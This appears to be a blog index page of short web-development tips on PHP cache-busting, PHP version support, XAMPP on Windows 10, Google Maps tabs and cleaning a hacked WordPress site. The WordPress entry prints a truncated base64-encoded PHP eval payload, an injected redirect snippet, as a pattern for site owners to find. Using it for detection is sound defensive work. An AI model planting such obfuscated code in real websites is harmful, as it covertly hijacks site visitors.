How to disable cache for images in all browsers

This tag was recommended by some developers but it may not work if you have dynamic file uploaded to your server. <img src=”my-image.jpg?cache=1″> The best tag you can add to display a brand new image is to use the function time() in php to generate different time for each time a photo was uploaded to your server. <img src=”my-image.jpg?cache=<?=time()?>”>

Continue reading »

PHP versions and support by PHP Community

If your website is still running on legacy php version, you may consider to upgrade PHP version and your website’s source code to protect your website from future malware / malicious attack. The newer PHP version, the faster the performance, the more secure, and more efficient. PHP 4: no longer supported by PHP Community 1&1 Extended Support available PHP 5.2: no longer supported by PHP Community 1&1 Extended Support available PHP 5.4: no longer supported by PHP Community 1&1 Extended Support available PHP 5.5: no…

Continue reading »

A fix for XAMPP – Apache Server in Windows 10

Windows 10 will throw errors when you try to start Apache server in XAMPP. 7:56:35 AM [Apache] Attempting to start Apache app… 7:57:05 AM [Apache] Problem detected! 7:57:05 AM [Apache] Port 80 in use by “Unable to open process” with PID 4! 7:57:05 AM [Apache] Apache WILL NOT start without the configured ports free! 7:57:05 AM [Apache] You need to uninstall/disable/reconfigure the blocking application 7:57:05 AM [Apache] or reconfigure Apache and the Control Panel to listen on a different port To fix this issue, the…

Continue reading »

Google Map will not load in hidden tab and switcher

If you embed Google Map in your website or application, you’ll have to place it outside of hidden tab; Or you’ll need to add a trigger in JavaScript to load the map; however, visitors of your website must double click to fully load the map. You can add this trigger like this on the page: google.maps.event.trigger(map0, ‘resize’); Or you can add a function call to Click event of a map tab: $( “#TabIDHere” ).click(function() { google.maps.event.trigger(map0, ‘resize’); }); remove nits

Continue reading »

What to do if your WordPress has been hacked

If your business website or personal blog is running on WordPress framework, you must upgrade to at least V4.4 as of Jan 2016. Before doing so, please read the instruction how to backup your files and database here. If not, your website maybe in danger of malicious embedded code attack. If you do, scan all wp- directories to find this type of codes: ————- … eval(base64_decode(“ZXJyb3JfcmVwb3J0aW5nKDApOwokcWF6cGxtPWhlYWRlcnNfc2VudCgpOwppZiAoISRxYXpwbG0pewokcmVmZXJlcj0kX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ107CiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOwppZiAoJHVhZykgewppZiAoIXN0cmlzdHIoJHVhZywiTVNJRSA3LjAiKSBhbmQgIXN0cmlzdHIoJHVhZywiTVNJRSA2LjAiKSl7CmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdH”));…..

Continue reading »